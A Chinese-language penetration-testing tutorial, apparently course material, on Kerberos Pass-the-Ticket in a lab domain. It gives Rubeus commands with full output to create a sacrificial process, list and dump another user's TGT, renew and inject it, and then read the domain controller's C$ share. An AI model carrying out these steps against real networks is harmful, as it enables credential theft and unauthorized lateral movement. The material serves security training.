Pass-the-Ticket

攻击是一种无需触碰 LSASS 进程(例如使用 Sekurlsa::LogonPasswords)即可实现横向移动的方法。由于针对 LSASS 进程的各类保护措施不断增强,这种方法变得极其重要

在经过安全加固的组织中,LSASS 进程中的内容可能并没有那么大的价值,而且仅仅是窥探该进程的操作就很可能触发防御方的警报
PTT攻击会获取用户的票据授予票据 (TGT) 或票据授予服务 (TGS) 票据。其中,TGT 是一种包含权限级别列表的已签名票据。该 TGT 会被发送至域控制器,随后域控制器会发放可用于访问特定机器的 TGS 票据。窃取这两种票据中的任何一种,都可以实现横向移动

1. Sacrificial Processes

这是理解 Kerberos 攻击最关键的概念,因为如果未能创建“牺牲进程”,可能会导致服务宕机

这是因为现有的登录会话 Kerberos 票据非常容易被覆盖。如果本地机器账户 (SYSTEM$) 丢失了它的 Kerberos 票据,通常在重启之前它都无法获得新票据。如果某个服务丢失了票据,在该服务重启(有时甚至需要机器重启)之前,它也将无法获得新票据。

牺牲进程会创建一个新的登录会话,并将票据传递给该会话。这确实需要机器的管理员权限,并且会产生额外的入侵指标 (IOC),可能会触发警报。然而,在渗透测试任务中导致服务中断,后果远比因为采取安全操作而被发现要严重得多。

1.1. 使用 Rubeus 创建牺牲进程

1.1.1. 创建牺牲进程

Rubeus 的 createnetonly 操作会创建一个牺牲进程,后续命令将使用 /LUID:0xdeadbeef(示例 ID)与其进行交互

PS C:\Tools> .\Rubeus.exe createnetonly /program:"C:\Windows\System32\cmd.exe" /show

   ______        _
  (_____ \      | |
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v2.2.2


[*] Action: Create Process (/net only)


[*] Using random username and password.

[*] Showing process : True
[*] Username        : Y1XGWQUL
[*] Domain          : HT3J3C08
[*] Password        : 967IB2AL
[+] Process         : 'C:\Windows\System32\cmd.exe' successfully created with LOGON_TYPE = 9
[+] ProcessID       : 4288
[+] LUID            : 0xa4a39

为了使用此票据对远程服务进行身份验证,我们需要将其注入到该进程 ID (PID) 中。由于我们当前没有使用 C2(命令与控制)框架,我们使用了 /show 选项,这会直接显示我们刚刚创建的进程

1.1.2. 读取票据

PS C:\Tools> .\Rubeus.exe triage

   ______        _
  (_____ \      | |
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v2.2.2


Action: Triage Kerberos Tickets (All Users)

[*] Current LUID    : 0x892730

 -----------------------------------------------------------------------------------------------------------------------
 | LUID     | UserName                     | Service                                           | EndTime               |
 -----------------------------------------------------------------------------------------------------------------------
 | 0x17168  | SQL01$ @ INLANEFREIGHT.LOCAL | krbtgt/INLANEFREIGHT.LOCAL                        | 8/24/2020 1:38:16 PM  |
 | 0x17168  | SQL01$ @ INLANEFREIGHT.LOCAL | LDAP/DC01.INLANEFREIGHT.LOCAL/INLANEFREIGHT.LOCAL | 8/23/2020 8:23:24 AM  |
 | 0x3e4    | sql01$ @ INLANEFREIGHT.LOCAL | krbtgt/INLANEFREIGHT.LOCAL                        | 8/24/2020 12:53:21 PM |
 | 0x3e4    | sql01$ @ INLANEFREIGHT.LOCAL | ldap/dc01.inlanefreight.local/INLANEFREIGHT.LOCAL | 8/24/2020 12:53:21 PM |
 | 0x3e4    | sql01$ @ INLANEFREIGHT.LOCAL | GC/DC01.INLANEFREIGHT.LOCAL/INLANEFREIGHT.LOCAL   | 8/24/2020 12:53:21 PM |
 | 0x3e4    | sql01$ @ INLANEFREIGHT.LOCAL | cifs/DC01.INLANEFREIGHT.LOCAL                     | 8/24/2020 12:53:21 PM |
 | 0x89275d | pixis @ INLANEFREIGHT.LOCAL  | krbtgt/INLANEFREIGHT.LOCAL                        | 8/24/2020 7:44:20 PM  | | 0x89275d | pixis @ INLANEFREIGHT.LOCAL  | cifs/dc01                                         | 8/24/2020 7:44:20 PM  |
 | 0x3e7    | sql01$ @ INLANEFREIGHT.LOCAL | krbtgt/INLANEFREIGHT.LOCAL                        | 8/24/2020 1:37:30 PM  |
 | 0x3e7    | sql01$ @ INLANEFREIGHT.LOCAL | cifs/DC01                                         | 8/24/2020 1:37:30 PM  |
 | 0x3e7    | sql01$ @ INLANEFREIGHT.LOCAL | cifs/DC01.INLANEFREIGHT.LOCAL/INLANEFREIGHT.LOCAL | 8/24/2020 1:37:30 PM  |
 | 0x3e7    | sql01$ @ INLANEFREIGHT.LOCAL | SQL01$                                            | 8/24/2020 1:37:30 PM  |
 | 0x3e7    | sql01$ @ INLANEFREIGHT.LOCAL | LDAP/DC01.INLANEFREIGHT.LOCAL/INLANEFREIGHT.LOCAL | 8/24/2020 1:37:30 PM  |
 | 0x3e7    | sql01$ @ INLANEFREIGHT.LOCAL | ldap/dc01.inlanefreight.local                     | 8/24/2020 1:37:30 PM  |
 | 0x3e7    | sql01$ @ INLANEFREIGHT.LOCAL | ldap/DC02.LOGISTICS.INLANEFREIGHT.LOCAL           | 8/23/2020 8:23:20 AM  |
 -----------------------------------------------------------------------------------------------------------------------

我们当前的 LUID(登录 UID)是 0x892730 ,但当前会话未关联任何票据

借助 Rubeus,我们可以提取 pixis 的 TGT。它是 pixis@INLANEFREIGHT.LOCAL 的票据,并且使用了 krbtgt/INLANEFREIGHT.LOCAL 服务(TGT 使用 krbtgt's 密钥加密)

1.1.3. 使用 Rubeus 提取票据

PS C:\Tools> .\Rubeus.exe dump /luid:0x89275d /service:krbtgt /nowrap

  ______        _
 (_____ \      | |
  _____) )_   _| |__  _____ _   _  ___
 |  __  /| | | |  _ \| ___ | | | |/___)
 | |  \ \| |_| | |_) ) ____| |_| |___ |
 |_|   |_|____/|____/|_____)____/(___/

 v2.2.2


Action: Dump Kerberos Ticket Data (All Users)

[*] Target service  : krbtgt
[*] Target LUID     : 0x89275d
[*] Current LUID    : 0x892730

 Username                 : pixis
 Domain                   : INLANEFREIGHT
 LogonId                  : 0x89275d
 UserSID                  : S-1-5-21-2974783224-3764228556-2640795941-2123
 AuthenticationPackage    : Negotiate
 LogonType                : RemoteInteractive
 LogonTime                : 8/24/2020 9:43:48 AM
 LogonServer              : DC01
 LogonServerDNSDomain     : INLANEFREIGHT.LOCAL
 UserPrincipalName        : pixis@INLANEFREIGHT.LOCAL


   ServiceName           :  krbtgt/INLANEFREIGHT.LOCAL
   ServiceRealm          :  INLANEFREIGHT.LOCAL
   UserName              :  pixis
   UserRealm             :  INLANEFREIGHT.LOCAL
   StartTime             :  8/24/2020 9:44:20 AM
   EndTime               :  8/24/2020 7:44:20 PM
   RenewTill             :  8/31/2020 9:44:20 AM
   Flags                 :  name_canonicalize, pre_authent, initial, renewable, forwardable
   KeyType               :  aes256_cts_hmac_sha1
   Base64(key)           :  TzjL1PVv40EmE/AwhpjXSIjMDkQnymOrusUAVvtGsYA=
   Base64EncodedTicket   :

     doIGSzCCBkegAwIBBaEDAgEWooIFMzCCBS9hggUrMIIFJ6ADAgExxxxxx

然后我们可以使用 Rubeus,借助刚刚提取出的票据通过以下小技巧请求一张新的有效 TGT:我们将利用 Kerberos 的续期功能,提供我们的 TGT,从而获得同一用户的一张全新 TGT。

C:\Tools> Rubeus.exe renew /ticket:doIFVjCCBVKgAwIBBaEDA<SNIP> /ptt

   ______        _
  (_____ \      | |
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v2.2.2

[*] Action: Renew Ticket

[*] Using domain controller: DC01.INLANEFREIGHT.LOCAL (10.129.1.207)
[*] Building TGS-REQ renewal for: 'INLANEFREIGHT.LOCAL\pixis'
[+] TGT renewal request successful!
[*] base64(ticket.kirbi):

      doIFVjCCBVKgAwIBBaEDAgEWooIESTCCBEVhggRBMIIEPaADAgEFoRUbE0lOTEFORUZSRUlHSFQuTE9D<SNIP>

[+] Ticket successfully imported!

1.1.4. 访问其他用户的文件系统

C:\Tools> dir \\dc01\\c$

    Directory: \\dc01\c$


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d-----        7/27/2020   5:56 PM                Department Shares
d-----        7/16/2016   6:23 AM                PerfLogs
d-r---        8/22/2020  10:52 PM                Program Files
d-----        7/27/2020  12:14 PM                Program Files (x86)
d-----        7/27/2020   7:37 PM                Software
d-----        8/23/2020   6:54 PM                Tools
d-r---        7/30/2020  11:49 AM                Users
d-----        8/17/2020  12:29 PM                Windows

在底层,Windows 使用我们的 TGT 来请求以下 SPN cifs/dc01 的 TGS 票据。

1.2. 牺牲进程 - 无管理员权限

这看起来有些奇怪,它并没有紧随 Sacrificial Process 部分出现,但这个话题足够重要,应该放在模块的开头和结尾。 Rubeus 需要管理员权限的原因是为了与其生成的 NetOnly 进程交互,以创建登录会话。当使用合适的 C2 框架时,进程的 stdin/stdout 通常会映射到 named pipes 。这使得框架可以在没有管理员权限的情况下与它所生成的进程进行交互。如果使用 Covenant 或 Cobalt Strike,可尝试使用 maketoken 功能来创建登录会话,而不是使用 Rubeus 的 NetOnly 选项。